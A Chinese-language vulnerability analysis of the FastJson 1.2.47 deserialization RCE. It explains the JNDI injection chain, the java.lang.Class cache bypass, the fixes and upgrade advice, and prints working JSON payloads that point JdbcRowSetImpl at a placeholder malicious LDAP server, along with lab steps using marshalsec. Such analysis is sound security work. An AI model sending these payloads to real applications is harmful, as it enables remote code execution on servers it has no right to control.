一步一步学习某Json1.2.47远程命令执行漏洞
字数 1726 2025-08-26 22:11:40
FastJson 1.2.47 远程命令执行漏洞深度分析
前言
FastJson 是阿里巴巴开源的高性能JSON处理库,在1.2.47及以下版本中存在严重的远程命令执行漏洞。本文将详细分析该漏洞的原理、利用方式及修复方案。
漏洞影响范围
- FastJson < 1.2.51
- 特别关注1.2.47版本的利用方式
前置知识:FastJson 1.2.24 RCE
在分析1.2.47漏洞前,先了解1.2.24版本的RCE漏洞作为基础。
漏洞利用链分析
- 利用类:
com.sun.rowset.JdbcRowSetImpl - 关键函数调用链:
setDataSourceName()→setAutoConnect()→connect()→lookup()
- 利用原理:
- 通过JNDI注入攻击,控制
lookup函数的参数 - 从远程加载恶意工厂类
- 通过JNDI注入攻击,控制
典型Payload
{
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://恶意服务器地址/Exploit",
"autoCommit": true
}
FastJson 1.2.47 RCE漏洞分析
漏洞背景
FastJson在1.2.24后增加了checkAutoType安全机制和黑名单机制,但1.2.47版本存在绕过方式。
关键绕过点
-
利用
java.lang.Class类:- 该基础类在1.2.48前不受限制
- 可以绕过黑名单和AutoType检查
-
缓存机制:
TypeUtils.loadClass函数中cache参数默认为true- 允许将恶意类预先加载到mappings中
漏洞利用流程
-
第一阶段:加载
java.lang.Class- 解析JSON中的
@type为java.lang.Class - 通过
MiscCodec.deserialze处理 - 将恶意类(
JdbcRowSetImpl)加载到mappings中
- 解析JSON中的
-
第二阶段:触发RCE
- 解析JSON中的恶意类引用
- 由于恶意类已在mappings中,绕过
checkAutoType检查 - 执行与1.2.24相同的攻击链
典型Payload
{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://恶意服务器地址/Exploit",
"autoCommit": true
}
}
详细调试分析
-
JSON解析过程:
DefaultJSONParser解析JSON字符串- 遇到
@type时调用checkAutoType检查
-
java.lang.Class处理:- 通过
deserializers.findClass()查找类 MiscCodec.deserialze处理java.lang.Class类型- 调用
TypeUtils.loadClass加载恶意类到mappings
- 通过
-
恶意类加载:
- 第一阶段完成后,
JdbcRowSetImpl已在mappings中 - 第二阶段直接获取已缓存的恶意类
- 第一阶段完成后,
-
RCE触发:
- 与1.2.24相同,通过
setDataSourceName→lookup链 - 远程加载恶意类执行代码
- 与1.2.24相同,通过
漏洞修复方案
-
1.2.48版本修复措施:
- 更新黑名单,包含
java.lang.Class - 修改
MiscCodec,将cache参数设为false - 防止通过缓存机制绕过AutoType检查
- 更新黑名单,包含
-
安全建议:
- 升级到FastJson最新版本
- 禁用AutoType功能(
ParserConfig.getGlobalInstance().setAutoTypeSupport(false);)
参考资源
实验环境搭建
-
所需工具:
- FastJson 1.2.47版本
- marshalsec(用于搭建LDAP/RMI服务)
- JDK 1.8.0
-
实验步骤:
- 编译恶意Exploit类
- 使用marshalsec启动LDAP服务
- 构造恶意JSON发送到目标应用
- 观察命令执行结果
总结
FastJson 1.2.47 RCE漏洞通过巧妙利用java.lang.Class和缓存机制,绕过了AutoType安全检查,最终实现了与早期版本相同的远程代码执行效果。理解该漏洞需要对FastJson的反序列化机制、JNDI注入原理有深入认识。开发者应及时升级到安全版本,并采取适当的安全配置措施。